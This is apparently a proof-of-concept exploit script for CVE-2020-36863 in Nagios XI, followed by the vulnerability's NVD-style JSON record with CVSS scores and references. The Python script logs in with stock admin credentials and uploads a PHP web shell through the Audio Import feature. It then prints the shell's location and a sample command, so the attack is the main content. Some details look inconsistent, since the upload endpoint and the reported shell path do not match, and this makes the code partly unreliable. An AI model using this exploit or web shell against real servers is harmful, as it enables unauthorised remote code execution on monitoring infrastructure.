CVE-2020-36863

#!/usr/bin/env python3 # CVE-2020-36863 PoC - Nagios XI Audio Import Unrestricted File Upload # Author: Security Researcher # Description: Upload malicious PHP file via Audio Import and execute RCE import requests import sys TARGET_URL = "http://target-nagios-xi.local" USERNAME = "admin" PASSWORD = "password" def get_auth_token(session, url): """Obtain Nagios XI authentication token""" response = session.get(f"{url}/nagiosxi/login.php") if response.status_code != 200: return None # Extract nsp token from response import re match = re.search(r'name="nsp" value="([^"]+)"', response.text) return match.group(1) if match else None def login(session, url, username, password): """Authenticate to Nagios XI""" token = get_auth_token(session, url) if not token: return False data = { "username": username, "password": password, "nsp": token, "loginButton": "Login" } response = session.post(f"{url}/nagiosxi/login.php", data=data) return "nagiosxi" in session.cookies.keys() def upload_shell(session, url): """Upload malicious PHP shell via Audio Import""" php_shell = "<?php system($_GET['cmd']); ?>" files = { "audioFile": ("shell.php", php_shell, "application/x-php") } response = session.post(f"{url}/nagiosxi/tools/audio.php", files=files) return response.status_code == 200 def main(): session = requests.Session() if not login(session, TARGET_URL, USERNAME, PASSWORD): print("[-] Authentication failed") return print("[+] Authentication successful") if upload_shell(session, TARGET_URL): print("[+] Shell uploaded to: /nagiosxi/includes/components/auditlog/uploads/shell.php") print("[+] Execute command: ?cmd=whoami") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2020-36863", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:39.150", "lastModified": "2025-11-05T18:24:09.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.7.2 allow PHP files to be uploaded to the Audio Import directory and executed from that location. The upload handler did not properly restrict file types or enforce storage outside of the webroot, and the web server permitted execution within the upload directory. An authenticated attacker with access to the audio import feature could upload a crafted PHP file and then request it to achieve remote code execution with the privileges of the application service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.2", "matchCriteriaId": "CE3BA539-3665-4DF4-9F54-EF07E78BE025"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-unrestricted-file-upload-via-audio-import-directory", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}